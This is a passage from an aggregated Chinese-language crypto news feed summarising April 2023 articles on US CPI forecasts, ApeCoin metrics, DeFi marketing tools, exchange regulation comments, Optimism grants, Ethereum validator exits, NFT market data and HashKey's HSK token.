[9]上海升级的长期影响：https://cointelegraph.com/news/ethereum-s-shanghai-upgrade-could-supercharge-liquid-staking-derivatives-here-s-how [10] Eigenlayer白皮书：https://docs.eigenlayer.xyz/overview/whitepaper [11] https://coinmarketcap.com/alexandria/article/a-deep-dive-into-eigenlayer [12]参见https://mazii08.substack.com/p/eigenlayer-what-is-it [13]参见 论Eigenlayer重新集中化：https://probablynothingresearch.substack.com/p/empire-podcase-summary-how-eigenlayer [14] 为什么LSD不能增加代币价值 Twitter thread. [15] Cosmos Greenlighting IBS：https://blockworks.co/news/cosmos-greenlights-interchain-security  ( 3 min )
    市场将怎样交易今晚的美国CPI数据？这是高盛的分析
    来源：华尔街见闻 作者：曹泽熙 4月12日周三，美国即将公布3月通胀数据，市场普遍预期，美国3月CPI同比增速为5.1%，较2月的6%有所下降；核心CPI同比增速为5.6%，较2月的5.5%略有上升。环比来看，市场预期美国3月CPI环比增速为0.2%，低于2月的0.4%；核心CPI环比增速为0.4%，也略低于2月的0.5%。 高盛分析师John Flood认为，在明天备受期待的CPI数据公布之前，交易员一直按兵不动。 高盛的预期和市场普遍预期十分接近，该行认为，除了整体的美国通胀数据，更重要的是要看到三个关键组成成分的变化趋势。高盛认为，3月美国二手车价格会上涨，机票价格会下降2%，住房通胀将维持高位，但环比有所下降。 高盛预测，到今年12月，美国核心通胀率将降至3.7%，到2024年底，这一比率将降至2.6%。 从投资者的角度来看，美股投资者希望看到更温和的3月通胀数据，因为如果数据显示通胀依然强劲，则会给美联储接下来的利率调整行动带来更多的不确定性，或者进一步加息的可能性将会增大。 在周三的通胀数据公布之前，美国联邦基金期货正在定价美联储将在5月初的会议上进行本轮加息周期的最后一次加息，随后在第四季度开启大幅降息的序幕。 高盛认为，如果周三公布的通胀数据高于6%，那么标普500指数将至少下跌2%，如果公布的数据在5.2%至6%之间，那么美股跌幅为1%至2%；如果通胀数据在4.6%至5.1%的区间，那么美股有望上涨0.5%至1%；如果通胀率小于4.6%，那么标普500指数则至少上涨2%。 对美联储来说，如今除了要应对通胀，还要面对银行业危机带来的冲击。美联储高官也罕见地出现分歧。 4月11日周二，美联储“三把手”、纽约联储主席John Williams表示，美联储政策制定者在降低通胀方面仍有更多工作要做，并表示尽管银行业动荡带来不确定性，但他们不会改变方针，他强调今年应当再加息一次；但芝加哥联储主席Austan Goolsbee则认为，在银行业危机刚刚平息一些的当下，美联储下一步行动应该更谨慎。  ( 1 min )
    Messari一季度ApeCoin报告：解锁抛压影响小，多项指标环比增长
    作者：节选自Messari 编译：Felix, PANews 尽管宏观经济环境不佳，表现为利率上升、通货膨胀、银行倒闭、全球冲突和企业风险管理不善等，但APE活动仍在继续。23年第一季度增加的APE持有者比前两个季度都多。APE的日均代币交易量创下季度记录，环比增长206.9%， APE的价格环比上涨20.6%，但尚未恢复到22年第二季度的平均水平。也就是说，由于相对稳定的价格和23年第一季度末的代币解锁，APE在季度末的平均市值接近22年第二季度的市值。尽管23年第一季度的平均DEX交易规模几乎停滞不前，但APE的总交易量增长了65.3%。 完全稀释估值 (FDV) 的变化反映了资产的价格。 APE的历史最高 (ATH) 估值超过220亿美元，最低估值从未跌破20亿美元。 虽然ApeCoin DAO的估值从未低于独角兽地位（10亿美元），但目前还不清楚该项目能提供什么。其他估值相对较高的加密项目倾向于提供有形产品，如提供数据存储的Arweave或提供云GPU渲染的Render。但加密项目的相对估值还是高于具有类似产品的传统项目，这可能是因为去中心化带来的巨大扩展潜力和安全优势。 ApeCoin只是一个不断消耗国库基金的DAO。它既不像许多提供产品的加密协议那样方便去中心化组织提供服务，也不像传统公司那样产生收入或拥有固定资产。相反地，APE的主要用例将是作为Yuga Labs的新元宇宙游戏Otherside的交易媒介。因此，它目前的价值可能是基于这样一种信念，即这款游戏将吸引大量用户，未来APE会被广泛使用。 自22年第三季度以来，APE的FDV一直徘徊在20亿美元至80亿美元之间。23年第一季度没有低于35亿美元。与更广泛的加密市场相比，APE在2023年第一季度的价值保持得相对较好，尽管比ATH下跌了70%以上。此外，FDV季度环比增长20.6%。 流动性供应曲线有助于确定某些资产的抛售压力何时可能会增加（或者，代币何时可能会倾销给毫无戒心的散户买家）。具体来说，会显示代币何时解锁以及解锁对象。 在23年第一季度，共有约5530万APE被解锁，其中3320万APE在3月份被解锁给非DAO实体，包括Yuga Labs，Yuga Labs创始人，三组Launch Contributors（最初帮助构建ApeCoin DAO的未署名实体），以及Jane Goodall遗产基金会。通常情况下，这种规模的解锁可能会增加代币的抛售压力。 尽管占流通供应量的7.8%，但解锁并没有导致APE代币出现任何异常的价格波动。相反，季度末的平均市值增长了38.7%。相对于FDV仅20.6%的增长，这一幅度的季度增长表明，总体价格波动对估值的影响，大于因解锁分配而产生的潜在抛售压力。 ApeCoin DAO在通过AIP-21和AIP-22提案后，于22年第四季度发布了质押奖励。APE持有者和Yuga Labs的生态系统项目，如Bored APE Yacht Club (BAYC)、Mutant APE Yacht Club (MAYC)和Bored APE Kennel Club (BAKC)，都获得了质押奖励。 质押于2022年12月上旬实施，将持续三年。23年第1季度申领了约3140万APE。整个23年第1季度申领的质押奖励呈线性增长，这表明APE在社区内分布广。尽管质押奖励通常伴随着抛售压力，但APE并未出现任何异常的负面价格波动——相反，其价格在本季度末上涨了20.6%。 Messari根据Dune仪表板中的规格定义了帐户大小。使用90天平均APE价格（2023年4月1日）约4.93美元，按下图中的图例进行拆分。 虽然总账户环比增长了10.7%，但小额持有者的账户增幅最大，增长了14%。巨鲸账户是唯一一个变化小于2%的群体，减少了0.22%。 根据Etherscan数据，250个持有者占APE最大供应量的97.5%。然而，并非所有的大股东都有流动性。其中至少102个账户是由APE基金会控制。根据APE基金会透明度报告（第13-15页），APE基金会维护着100个Coinbase Prime钱包和两个Gnosis Safe钱包。因此，根据透明度报告中的数字，至少有27%的鲸鱼钱包由APE基金会维护。 按交易规模划分的交易量显示了各种规模的交易占交易量的百分比。例如，如果总交易量为2亿美元，两个钱包分别交易了5000万美元（共计1亿美元），那么交易量为5000万美元的钱包将占交易量的50%。 鲸鱼（单日交易量超过1000万美元的账户）仍然是23年第一季度交易份额最大的群体。在过去的一年里，鲸鱼在每个季度都占据主导地位。然而，它们的主导地位呈下降趋势，环比销量有所下降。 代币流通速度显示资产易手（或钱包）的频率。根据资产的不同，代币流通速度的变化可以表明一些事情。如果资产是消耗性的，比如游戏中使用的代币，代币流通速度的增加可能意味着鼓励采用/使用资产。如果资产更具投机性，代币流通速度的减少可能意味着用户对持有资产的兴趣或者需求降低。在下图中，代币流通速度的计算方法是将流通供应量除以交易量的7日移动平均线 （7DMA）。 APE代币流通速度在1%到6%之间波动，直到22年第四季度末飙升到近12%。最有可能的催化剂是由于质押的推出而产生的投机兴趣。在23年第一季度，速度缓慢下降到3.5%的底部，然后回升到10%。3月中旬的急剧增长可能是由于Otherside:2nd Trip的活动引起的。 新APE持有者为首次获得APE的用户。在23年第一季度，每天大约有650名新的APE持有者加入生态系统。此外，可能会有新的持有者使用中心化交易所但不计入APE生态。 尽管在多个信任层上运行，ApeCoin DAO仍能健康的运行。在23年第一季度，ApeCoin展示了特别委员会成员和APE基金会管理员可以和平地交接权力，支持成功的提案，并且可以在复杂的治理结构中快速组织。 APE要在未来延续这些趋势，就需要扩展DAO之外的需求。值得注意的是，Yuga开发的Otherside metaverse游戏，计划使用APE作为游戏内代币，应该会在主网启动时推动对该资产的需求。  ( 3 min )
    拆解Arbitrum生态黑马Vela Exchage的营销逻辑：如何获得爆炸式增长？
    此前，我们讨论了有关流动性质押项目可以在上海升级后实行的增长策略，那么对于一般质押类项目来说，是否可以复用呢？本篇，我们继续以该赛道代表性项目为例，探究其快速增长中选用的策略。 此前，声势浩大的 Arbitrum 空投吸引了大量Web3人士的目光，随之而来的是大家对于其生态和项目发展的探究。于是，一匹黑马闯入大家视线——其 30 天内接近 90% 的 TVL 增长，在当前的 DeFi 赛道上算得上极为亮眼的成绩。 当然，技术与机遇是关键因素之一，比如作者 Cabin Crew 发布的文章《Alpha Track | Vela Exchange ：衍生品赛道的一匹黑马》中提到 Vela Exchage： 用 USDC 做底层资产，参与门槛低 支持跨链资金一键兑换 USDC 存入 VLP，使用灵活 提供更广泛的交易标的，使用机会多 再加上由外部环境 Arbitrum 空投带来的热度，一定程度上给 Vela Exchage 带来快速增长。 根据 DeFiLlama 统计的近 30 日内 USDC 质押数据来看： 在 3月1日 - 3月7日期间，Vela Exchage 内的 USDC 大幅度且持续增长，随后在 14 日至 16 日期间也有 3 日的大幅度增长。随后，笔者对比了项目本身与市场外部环境的因素后，可以发现，项目本身主动增长策略为： 活动 时间 Twitter Views USDC Inflows Flash Trading Competition 2023.3.1-7 450K+ $20.74M 3月1日 至 7日期间，Vela Exchage 举办了一场盛大的质押竞争赛，并设置了第一名可获得 $10,000 USDC 的巨额奖励。截止7日，链上第一名质押量已超过 $2.3M，Vela Exchage TVL 总量进入 Arbitrum DeFi 生态前3。类似的活动还有： 项目 活动 Inflows Trader Joe Liquidity Book Rewards E2 250K $JOE Curve Avalanche流动性挖矿奖励 $40M Euler.Tools Staking 活动 $1.75M 由此可见，市场营销策略依然是产品提升用户增量的关键一环。不过在实施过程中，项目方往往会面临以下几个问题： 策划 - 专业人员不足，任务设计难 执行 - 触达面窄，流程监控复杂，数据统计繁琐，奖励发放易错 效果 - 透明度被质疑，参与用户局限，触达用户不精准，机器人多，活动结束迅速流失 如何解决？ 工具使人进化。任何困难，我们都能够通过工具去解决，研究市场增长也是如此。在已经卷到不能再卷的 Web2 中检索“市场营销+活动工具”，你可以收获一大批进行选择。在其中，能够解决活动策划类困境有 Hubspot、ActiveCampaign、Campaign Monitor 以及 Gleam 等。 以 Web3 项目经常使用的 Gleam 为例，我们可以发现此类工具能够带来的翻天覆地的影响： 策划 - 拥有非常齐全的模板可供用户挑选。使用 Gleam 策划一场活动，无需非常专业的人士，只需要熟悉平台模板，根据目标用户匹配任务即可。 执行 - 任务完成情况由系统自行检测，从用户监测到中奖用户选择，无需人工操作。同时。后台配有数据分析面板，可供活动方了解整体活动状态。 效果 - 自动化出奖模式可以提高透明度，提高活动可信度。系统配有 Google 机器人识别系统，一定程度上保证用户真实性。 工具 月活 Hubspot 40.6M Gleam 11.96M ActiveCampaign 1.66M Campaign Monitor 0.66M 再加之，任务平台本身流量就非常大，更容易触达广泛的用户，可以为活动举办方提供更高的流量入口。 总之，任务工具平台的出现，可以为项目提供易组织、自动化、透明且可复制的市场营销活动，是促进品牌曝光和用户增长的更好的施行方法，因此迅速受到 Web3 各项目的欢迎。笔者在推特上检索 #Giveaway，并统计24小时内的数据，发现： 类型 占比 自组织 38.18% KOL代发 9.09% 工具型 52.73% 在这其中，Gleam 的市场占有率依然非常可观： 工具 占比 Gleam 51.72% Galxe 13.79% QuestN 7.26% TaskOn 6.31% Others 20.92% *以上为24小时统计数据，以实际为准 那么，既然 Gleam 已经满足了产品增长的需求，那为什么后期又出现了诸如上表中列出的其它工具呢？要知道，2021年才出现的 Galxe，其月活（5.17M）已经达到 Gleam 的 43.23%。 这是因为在实际操作中，Gleam 此类 Web2 工具无法满足 Web3 链上任务的要求，比如 NFT mint、Token Holder、Trading。因此，就出现了匹配 Web3 需求的原生工具，比如 Galxe、QuestN 和 TaskOn。 基于此类工具，Web3 项目可以轻而易举地设置： 社媒任务模板 模板 Galxe QuestN TaskOn Zealy 关注社媒 * * *   社媒裂变 * * * * 加入社群 * * * *   链下任务模板 模板 Galxe QuestN TaskOn Zealy POW * * * * Q&A * * * * Link * * * *   链上任务模板 模板 Galxe QuestN TaskOn Zealy 链上任务 * * * * 自动API验证 * * *     奖励发放模板 模板 Galxe QuestN TaskOn Zealy 奖励均分 * * * * 先到先得 * * * * 随机抽奖 * * * *   其它功能 模板 Galxe QuestN TaskOn Zealy 社媒登录 * * * 钱包登录 * * * * 反机器人 * * 用户资格验证 * * * * 手动发奖 * * * * 自动发奖 * * 自主发奖 * * * * 平台代发 *   尤其是以上任务模板中的链上任务以及用户资格验证两大功能，不仅可以协助活动举办者校验参与用户的链上数据情况，精准触达目标对象，还可以促进产品的使用。 回头看 Vela Exchage 的 Staking 活动，通过任务工具，即使是非专业的运营人员也可快速且轻松地设置： 功能 内容 社媒任务 关注Twitter @vela_exchange 点赞转发@3位好友 社群任务 加入Discord 加入Telegram 链上任务 点击链接参与质押 发奖形式 手动发奖 定制化规则   当用户通过钱包登录平台参与活动后，自动API验证系统可以监测该用户是否通过该地址完成了质押任务。在活动结束后，项目方可以下载整个活动的用户数据，并将完成活动的地址与链上质押量进行匹配，得出最终获奖名单，并上传系统进行公示。 通过整套流程，不仅可以降低人工统计导致的时间成本问题，甚至有可能导致的错误，还展现了公正与透明，为活动举办方赢得了广大用户的信任。 不仅如此，任务平台也能够与当前新叙事“Loyalty”相结合。比如在举办此类大型活动时，项目方可以考虑增加 NFT 徽章，凡完成任务者均可以领取该徽章。该徽章会成为忠诚用户的特殊证明，通过任务平台的用户资格验证后参与更多系列活动，解锁更高奖励。通过此类方式，在实现增长的同时更能够实现用户的留存与后续活跃。 更何况，现在 Web3 任务工具平台还是免费使用的，综合因素叠加，聪明人会选哪个？  ( 14 min )
    赵长鹏：哪怕是有严格限制的监管，都好于没有清晰的监管
    PANews 4月12日消息，在今日举行的“Web3香港嘉年华”峰会上，币安创始人赵长鹏表示，哪怕是有严格限制的监管，都好于没有清晰的监管，每个监管政策都是有一些考量，而且会随着时间的推移而改变。在行业早期的时候总是要鼓励发展，比如NFT在早期的时候就没有必要设置监管，在发展过程中就逐渐需要监管。还有一种方式是监管者通过借鉴传统金融监管来监管加密，但是这两个行业是不一样的，对监管部门来说，他们需要对行业有深入的理解。所以这要求我们从业者要非常积极的与监管机构打交道，要有耐心积极对话，通常第一版的监管条例是会限制过度的，需要一段时间才能找到最优的平衡。我们也在积极与全球各地监管机构打交道，包括香港。 在被问到关于“如何防止 CeFi 基础设施故障”的问题时，他表示，CeFi 也可以非常透明，比如最近的储备证明，可以比传统金融服务提供商更加透明，用户对资产有更多的控制权。CeFi 信任方面，赵长鹏表示，提到 CeFi 信任，有三个层次，第一层是对技术的依赖，第二层是针对平台的服务或者业务的，这可以随着时间的推移来实现信任，第三层是风险管理教育。  ( 1 min )
    Dragonfly创始人冯波：DeFi将成为未来人类文明最重要的金融手段
    PANews 4月12日消息，在今日举行的Web3香港嘉年华峰会上，Dragonfly 创始人冯波发言表示，现在仍处于 Web3 发展的早期阶段，最好的应用是比特币和以太坊。一旦 DeFi 用起来像微波炉和冰箱一样方便，将会成为未来人类文明最重要的金融手段，我们正在经历人类文明的巨大进步。 美图董事长蔡文胜发言表示，GPT 是通用人工智能的一次技术突破，但尚不清楚 ChatGPT 是不是最后的赢家，以及是不是最终的产品形态。AI 的技术突破给 Crypto 世界带来巨大的价值，AI 与区块链的结合将会发展出 Crypto 2.0。未来 3 年会迎来 Web3 在基础设施和应用层面的第一次技术大爆炸，并拉动经济的下一个十年发展。  ( 2 min )
    Ronin Network已开始发放质押奖励
    PANews 4月12日消息，Ronin Network 宣布成功升级到 DPoS 共识机制，已开始发放质押奖励。据官网数据显示，目前质押的 RON 代币数量已超 1 亿枚，并有超 8500 名委托人和 22 个验证节点。  ( 1 min )
    一文速览Optimism基金会RetroPGF 2 Top10获奖项目：工具类
    编者按：本文为您详细介绍RetroPGF2中工具与实用程序类别的前10个获奖项目。这些项目不仅代表了当前Web3领域的优秀创新，而且包含了一系列为开发者提供便利的学习、开发、构建和部署工具。无论您是以太坊生态的新手还是经验丰富的开发者，这些工具和实用程序项目都将助您一臂之力，轻松探索和建设以太坊及Layer2生态项目。现在就跟随我们一起深入了解这些激励创新的获奖项目吧！ 在 RetroPGF 第二轮中，共有 1000 万 OP 奖励，其中工具+实用程序类别的项目和人员总共获得了 3,229,011 OP！ 今天我们来重点介绍该类别的前 10 名获奖者！?️ OpenZeppelin 为构建、自动化和运行去中心化应用程序提供安全产品。OpenZeppelin 通过对WEb3组织的系统和产品进行安全审计，帮助保护行业安全。 如果你不知道OpenZeppelin，那么你肯定不是一个Builder——Web3地图。 OP 奖励：181.7K DefiLlama 是一个开源项目，用于跟踪 DeFi 协议的指标。DefiLlama 的数据向所有人免费提供，为社区提供关于总锁定价值（TVL）、费用、国库等方面的透明视图。 如果你不知道DefiLlama，那么你肯定不是一个DeFi OG——Web3地图。 OP 奖励：171.2K wagmi 是一个包含了开发人员需要开始使用以太坊的所有 React 钩子的集合。wagmi 是 Optimism Collective 和整个加密生态系统的基础前端工具。 “wagmi 是一个 React Hook 的集合，包含了你与以太坊交互所需的一切。wagmi 使连接钱包、显示 ENS 和余额信息、签署消息、与合约交互等变得简单——所有这些都有缓存、重复请求降重和持久化。”——wagmi官网 OP 奖励：156.4K Remix 是一个包括 Remix 插件引擎、Remix 库和 Remix IDE 的工具集，是适用于各个层次的构建者的智能合约开发工具。通过其学习实验室，该项目为开发者提供了一个学习和尝试以太坊的平台。 OP 奖励：151.6K Gitcoin 致力于构建和资助数字公共产品。Gitcoin 的工作引发了整个行业回馈和支持开发者的趋势，并帮助加密项目度过了熊市挑战。 OP 奖励：151.4K Foundry 是一个用 Rust 编写的用于以太坊应用程序开发的极速、便携和模块化工具包。Foundry 由一个生态系统的贡献者建立和维护，并为开发者提供部署有影响力项目的工具。 OP 奖励：148.6K Snapshot 为 DAO 成员提供了一种对治理提案进行投票并集体做出决策的方式，无需中央集权机构。通过 Snapshot，DAO 在决策过程中提高了透明度和问责制。 OP 奖励：145.6K Rotkiapp 致力于通过开源工具为加密世界带来透明度。它提供了加密资产组合跟踪、分析和会计工具，通过在本地加密和存储数据来保护用户隐私。 OP 奖励：145.2K Giveth 是一个基于以太坊的捐赠平台，奖励和赋权那些向项目和社会捐赠的人。通过 Giveth 筹集资金简单、无需许可，并专注于为非营利组织和公共产品创造价值。 OP 奖励：129.8K Agora 是代表和构建者的治理公共基础设施。Agora 的开源治理合约和应用程序在不影响可访问性和用户体验的情况下，为集体增加了问责制、透明度和去中心化。 OP 奖励：101.9K 这就是前 10 名的工具和实用程序获得者！ 至此，我们已对 RetroPGF2 的三大领域进行了全面梳理与回顾。 推荐阅读： 一文速览Optimism基金会RetroPGF 2 Top10获奖项目：教育类 一文速览Optimism基金会RetroPGF 2 Top10获奖项目：基础设施类  ( 3 min )
    PAData：最近4天共有2350个验证者退出以太坊共识层，或为全额赎回做准备
    即将到来的以太坊上海/Capella升级将允许验证者赎回在共识层质押的ETH，这可能对ETH的价格和更广泛的DeFi生态产生深刻影响。此次赎回可以是全额提款，指已退出共识层的验证者赎回其全部余额；也可以是部分提款，指自动将质押额超过32 ETH的验证者的超额余额退回。 目前尚无法准确估计升级后将有多少规模的质押资产被赎回，但根据glassnode的数据，近期自愿退出验证池的验证者数量激增，4月8日退出了380个验证者，9日退出了1746个，10日退出了27个，11日退出了197个，远远高于此前（2020/12/1-2023/4/7）日均退出1.43个的水平。其中，9日的大规模退出使得网络参与率跌至96.19%，为历史较低水平。这些退出的验证者很有可能在为全额提款做准备，提前完全退出共识层可以更快进入执行提款的任务队列中。 另外，根据BeaconScan的数据，目前有不少验证者的余额超过32 ETH，如果这些验证者有0x01-类型的提款凭证，并且是活跃的，则超额部分可能被定期自动“赎回”，但不会立刻发生在升级后，而是要经历一个缓慢的过程。从分布来看，共有406377个超额验证者的余额集中在33 ETH至36 ETH区间内，超额总额达到877531 ETH。 从目前验证者累积的质押收益来看，大部分验证者的收益分布在0.1 ETH至4.7 ETH区间内，内部差异明显。并且，根据CoinGecko的数据，当前ETH的价格约为1872.72美元，仍然低于早期质押的价格。这意味着，验证者的实际法币本位收益还需要取决于质押时的ETH价格。 根据DuneAnalytics（@hildobby）的统计，目前有919.54万ETH，即占比50.4%的质押ETH在质押时的价格低于当前价格，处于亏损状态，略微高于处于盈利状态的质押总数。折算成美元的话，相当于目前有275.3亿美元的ETH处于质押亏损状态，远高于处于盈利状态的质押总值。这为开放赎回前后ETH价格的多空博弈留下了较大的空间。  ( 2 min )
    数据解析NFT Q1市场表现：NFT生态正向Polygon聚拢，蓝筹项目"保值"难
    进入2023年第一季度以来，NFT规模出现可喜回升，链上交易活动逐渐活跃，市场开始密集上新，新老玩家竞争加剧。为了更清晰了解NFT市场今年Q1的真实表现情况，PANews联合NFT数据服务商NFTSCAN共同分析了第一季度市场的主要数据。 要点总结： 1、第一季度的NFT市场的总交易额已突破600亿美元，增长了约67.9亿美元。Ethereum依旧是规模最大的NFT市场，以583.8亿美元的总交易额占据96.7%的市场份额； 2、NFT市场共新增了超46.4万个项目，Polygon的上新项目占总数的74.5%，Solana则仅有6998个新增项目，日均增长速度较低； 3、截至第一季度，NFT市场共铸造了超1亿个NFT资产。其中，Polygon和BNB Chain累计新铸造的NFT数量占总体的76.7%，Ethereum和Solana的日均新铸造量远低于平均值； 4、进入Q1以来，NFT资产相关的交互钱包地址数超9272.4万个，BNB Chain和Polygon的地址数分别以31.8%和21.8%的速度增长，两者总地址数占总体的83.2%； 5、蓝筹项目市值和均价双下跌，且出现明显分化，但仍受市场资金青睐，整体成交量平均涨幅达14.7%； 6、无论是交易额、销售量还是用户规模增长，Blur跑出碾压式的“加速度”，但OpenSea仍以绝对优势稳坐市场龙头，具备显著优势。 进入2023年Q1以来，NFT市场回暖态势明显，交易活跃度明显提升。 今年第一季度，NFT市场的总交易额也已突破600亿美元，增长了约67.9亿美元，日均交易量超754.4万美元。其中，Ethereum以583.8亿美元的总交易额占据97.3%的市场份额，Solana、Polygon和BNB Chain则为2.5%。从日均交易额来看，Ethereum以超648.6万美元的日均交易额稳居首位，其次是Solana为116.3万美元，Polygon则为51.4万美元，而BNB Chain仅为43.3万美元。但从市场扩张速度来看，Solana和Polygon的交易额增长速度处于领先位置，分别为36.5%和27.7%，而BNB Chain为14.7%，Ethereum则为12.5%。 NFT新铸造数量也是NFT市场交易活跃度的重要指标之一，第一季度共有超1亿个NFT资产被铸造，增长速率超15.6%，日均新铸造量为112.7万个。其中，Polygon新铸造数量最多，约占新铸造总数的60.5%，日均铸造量约67.2万个；其次是BNB Chain约占总数的16.2%，日均铸造近18.1万个；Ethereum和Solana累计铸造数量约174.9万个，日均铸造仅为整体的17.1%，远低于平均数。 与此同时，随着NFT项目数量也出现了显著增长，本季共新增了超46.4万个项目，平均每日以约5155个的速度新增。其中，Polygon的上新项目激增34.6万个，占总数的74.5%，日均新增3884个项目；BNB Chain和Ethereum分别为约4.4万个和4.1万个，Solana则仅为6998个新增项目，且它们的日均项目增长速度均较低。 而从用户规模增长来看，NFT资产相关的交互钱包地址数超9272.4万个，第一季度上涨了22.7%。其中，BNB Chain和Polygon的地址数分别以31.8%和21.8%速度增长，两者总地址数占总体的83.2%，前者的平均每个钱包地址持有的NFT资产数量达233.7个，后者为65.3个；Solana和Ethereum增速分别为14.1%和12.7%，其中Ethereum低于整体钱包地址所持有资产数量的平均值。 NFT总市值是追踪和衡量整个NFT市场的表现最为直接和具象的链上指标之一。2023年第一季度，NFT总市值回升至294.7亿美元，增长幅度达82.5%。尽管整体NFT市值增长超133.3亿美元，但蓝筹项目作为更具抗跌性资产，发展现状却并不容乐观，且出现明显分化。 从以太坊上具有代表性的Top 10头部项目的第一季度表现来看，这些蓝筹项目的市值并未随着整体市场上升，反而缩水约4.1亿美元，整体平均跌幅达18.72%。其中，Azuki的表现坚挺，市值上涨了17.5%，Bored Ape Yacht Club、CryptoPunks、Otherdeed、Bored Ape Kennel Club和Azuki并未出现明显跌幅，平均下跌4.4%，但CloneX、Moonbirds、Doodles和Meebits的市值则出现大幅下降，平均跌幅达40.1%。 同时，蓝筹NFT资产的抗风险能力减弱，本季整体成交均价平均下跌超23.1%，其中，CloneX、Moonbirds和Doodles价格跳水明显，平均均价下跌47.3%；CryptoPunks、Bored Ape Yacht Club、Otherdeed和Mutant Ape Yacht Club的均价略有下降，平均为8.7%。不过，蓝筹NFT仍受市场资金青睐，整体成交量平均涨幅达14.7%，其中Yuga Labs系的项目整体上涨明显，平均涨幅达27%。 与此同时，从以太坊的Gas消耗情况可以观察出活跃的种子选手。第一季度Gas消耗Top 10的NFT项目共消耗超1万枚ETH，其中XEN Torrent、Base, Introduced、Uniswap V3 Positions NFT-V1和ENS是Gas消耗的主力军，共累计贡献了近四分之一的Gas消耗量。 另外，铸造数量也是衡量项目火爆程度的指标之一。从统计的以太坊上Mint数量Top 10的NFT来看，这些项目在第一季度的铸造总量超135.8万个，占整体的9%。其中Base, Introduced、The Escher Edition和ENS的铸造量远超其他项目，共铸造了超76.7万个NFT。 流动性是资产的生命，二级市场的出现为NFT注入了更高的流动性，且为市场规模的扩张提供强有力的支撑。本篇选取5个头部交易市场来观察NFT资产在二级市场的整体流动情况。 根据统计，第一季度这六大交易平台累计交易额约为3013.3万枚ETH，上涨了约12.7%。其中Blur是上涨的主要推手，交易额高达241.2万枚ETH，翻了超4.7倍，这与其开展的创新空投激励和版税制度等有关。而此前稳坐市场龙头的OpenSea的增长速度被Blur碾压，交易额约为1400万枚ETH，占总量的46.4%；LooksRare本季的交易额约为1024.1万枚，并未出现明显增长；X2Y2的交易额超307.2万枚ETH，涨幅约19.3%。 从总销售数量来看，OpenSea仍具备显著优势，其销售数量达到3444.8万个；而Blur的销售数量在本季度飙升，翻了约4.2倍；LooksRare、X2Y2和SudoSwap交易额仅实现个位数增长。 但从用户规模来看，情况又有所不同。虽然OpenSea以4282.3万个地址数占据绝对优势，但其增长速度仅为12%；而Blur上涨约3.6倍，总地址数增至19.9万个；X2Y2则在Q1上涨了11.1%，地址数约170.2万个；LooksRare和SudoSwap仅分别上涨7.1%和6.9%，整体呈缓慢增长趋势。  ( 2 min )
    HashKey Group将发布生态积分，一文读懂HSK的权益和分配机制
    HashKey Group在香港2023 Web3 Festival大会期间公布了发行生态积分HSK的计划。2022年10月底，香港财政司发布《有关香港虚拟资产发展的政策宣言》，考虑放开加密货币交易，并对加密货币交易所发放牌照，将在今年6月正式发放。在这样的政策背景下推出的HSK会怎么分配，又有什么效用呢？ HashKey成立于2018年，总部位于中国香港，在新加坡和东京设有运营机构，是知名的数字资产和区块链服务商，目标是开发受监管的平台和公共基础设施，促进区块链技术在现有金融基础设施中的使用，将Web3带入日常生活中。 HashKey重视合规、安全和生态系统，提供与数字资产相关的完整的产品和服务，包括受监管的交易所、托管、经纪服务、风险投资、资产管理、节点验证服务和其它Web3基础设施，致力于成为全球认可和全面监管的数字资产生态系统，具体业务可以分为五大类： HashKey生态积分和权益 本次公布的是发行生态积分HashKey EcoPoints（HSK）的计划。HSK将为整个HashKey生态系统提供支持，作为平台忠诚度奖励，公平地分配给生态系统内的用户和贡献者，没有私募和公募销售。 HSK的总量为10亿枚，其中65%用于生态发展中的奖励、营销和业务发展；30%用于团队员工激励；5%作为储备金，在紧急情况下为生态系统中的用户提供额外保护。 HSK将在HashKey的生态系统中被赋予各种用例，持有者权益包括： 只有在HashKey底层业务表现良好时才会发行HSK，新增加的HSK由总奖励池注入到HSK的流通供应中，总奖励池规模的美元计价受HashKey相关业务产生的利润的“奖励价值上线”，奖励价值上限根据产生的净利润的倍数设置。 根据白皮书信息，早期在HashKey PRO上注册、交易、提供流动性的用户都可以获得生态系统奖励。在上线交易前，HashKey会先公布HSK的奖励计划，并发放免费空投。 销毁机制 HSK会具备销毁机制，以让持有者避免自己的权益因为奖励的HSK导致流通量增加而被稀释，它所采用的销毁机制也称为“抵消发行机制”。 HashKey将特定平台业务净利润的20%用于回购、销毁HSK，目前已经确定的业务只包括合规交易所HashKey PRO，后续可能增加其它产品和业务线。 HashKey Group公布了发行生态积分HSK的计划，其中65%用于生态系统增长，该积分的交易将在HSK的奖励计划及空投的发放后开通。HSK将在HashKey的生态系统中被使用，包括交易手续费折扣、托管费折扣、发布研究报告等。 HSK只有在HashKey的基础业务表现良好时才会发行，特定业务净利润的20%也将用于回购销毁HSK，目前已经确定的业务为合规交易所HashKey PRO。  ( 2 min )
    深度思考加密媒体：机遇、挑战和创新
    文章作者：Wendy Ye–NewsBlock 文章编译：Block unicorn 介绍 尽管比特币的主要功能是作为金融工具，但它与媒体产业的联系从一开始就很明显。比特币区块链的创世区块不仅记录了交易细节，还包括了《泰晤士报》的一条新闻。经过十多年的发展，区块链技术和加密货币已经在金融以外的多个领域引起了创新，并受到了广泛关注，其中包括媒体行业。 由于其去中心化和透明的特性，区块链技术具有潜力通过启用新的商业模式、增强透明度和信任，并为内容创作者创造新的收入来源来改变媒体格局。然而，尽管具有重大潜力，区块链技术和加密货币在媒体行业的普及仍面临着多种挑战。最近的调查显示，只有很少一部分美国人持肯定态度，许多人提到了波动性、安全性和监管等方面的担忧。此外，商业和金融界的重要人物，如查理·芒格，呼吁禁止加密货币，进一步增加了这种新兴技术的不确定性和风险。 尽管如此，第四产业和Web3的交叉点仍在不断创新。本文旨在探讨区块链技术和加密货币在媒体行业采用的历史，然后研究Web3颠覆第四产业和开启去中心化媒体新时代的挑战和机遇。 第一部分：加密媒体的简史 1. 以加密货币为中心的新闻媒体（2009-2015年） 任何创新的出现都会带来相关知识和信息的需求。由于主流媒体无法或不愿涵盖有关加密货币和区块链技术发展的详细信息，因此在比特币诞生后不久就出现了几家专门的加密货币媒体机构。最著名的是Bitcoin Magazine（由Vitalik Buterin于2012年共同创立）、Cointelegraph和Coindesk（均成立于2013年），它们仍然是当今加密货币媒体的重要支柱。 